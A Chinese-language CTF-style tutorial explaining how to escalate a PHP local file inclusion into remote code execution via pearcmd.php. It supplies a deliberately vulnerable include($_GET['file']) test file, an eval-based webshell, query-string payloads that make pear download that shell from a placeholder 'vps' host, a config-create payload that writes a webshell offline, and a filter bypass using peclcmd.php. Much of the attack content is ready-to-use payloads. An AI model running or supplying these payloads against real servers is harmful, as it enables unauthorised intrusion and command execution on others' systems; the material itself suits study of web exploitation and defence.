pearcmd文件包含2RCE
了解pear&pearcmd
pear:
pear
本身是一个sh程序:通过 pear
命令,你可以安装、管理和更新 PHP 的包和扩展。
他在主程序的最后调用了pearcmd.php
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
默认路径:
/usr/local/lib/php/pearcmd.php
register_argc_argv=On:
设置register_argc_argv = On(默认是Off)后的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’],并且以+作为分隔符
出网
三个条件:
已安装pecl/pear,在Docker任意的镜像版本中默认安装,安装路径为/uer/local/lib/php
php.ini当中 register_argc_argv=On需要开启 当这个参数开启的时候,php会注册argc和arv这两个全局变量
存在文件包含且可以包含后缀为php的文件且没有open_basedir
的限制。
include($_GET['file'].".php");
pear install -R /tmp http://xxxxxxx/shell.php
#可以把shell.php下载到/tmp目录下面(- R可以指定下载文件保存的目录)。
测试代码:
//index.php
<?php
$a = $_GET["file"];
include($a);
Payload:
使用install:
//shell.php
<?php @eval($_POST[cmd]);?>
访问index.php
?file=/usr/local/lib/php/pearcmd.php&+install+http://vps/shell.php
文件默认下载到/tmp/pear/download/shell.php
可以使用-R指定目录
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php
//文件下载到/tmp/shell.php
这样我们就成功下载下来我们vps上的恶意文件,然后我们再包含上它就getshell了
使用download:
?file=/usr/local/lib/php/pearcmd.php&+download+http://vps/shell.php
默认下载到/var/www/html/shell.php
download的一种巧妙地构造
?+download+http://vps/test.php&file=/usr/share/php/pearcmd.php
这种构造方式有点巧妙,需要我们在服务器建一个目录:test.php&file=/usr/share/php/,并且将恶意的php命名为:pearcmd.php
其实也可以这么写,去掉上面的test.php:
?+download+http://vps/&file=/usr/share/php/pearcmd.php
创建:&file=/usr/share/php/目录,放入pearcmd.php
然后文件包含pearcmd.php就可以利用了
不出网
使用config-create:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/mixian.php
/index.php?file=/tmp/mixian.php
然后POST:
1=system('ls /');
例题:[NewStarCTF 公开赛赛道]IncludeTwo
过滤
如果过滤了pearcmd,可以用peclcmd.php,因为就是在peclcmd.php中引用的pearcmd.php
参考
https://tttang.com/archive/1312/
https://y4tacker.github.io/2022/06/19/year/2022/6/关于pearcmd利用总结/
https://blog.csdn.net/rfrder/article/details/121042290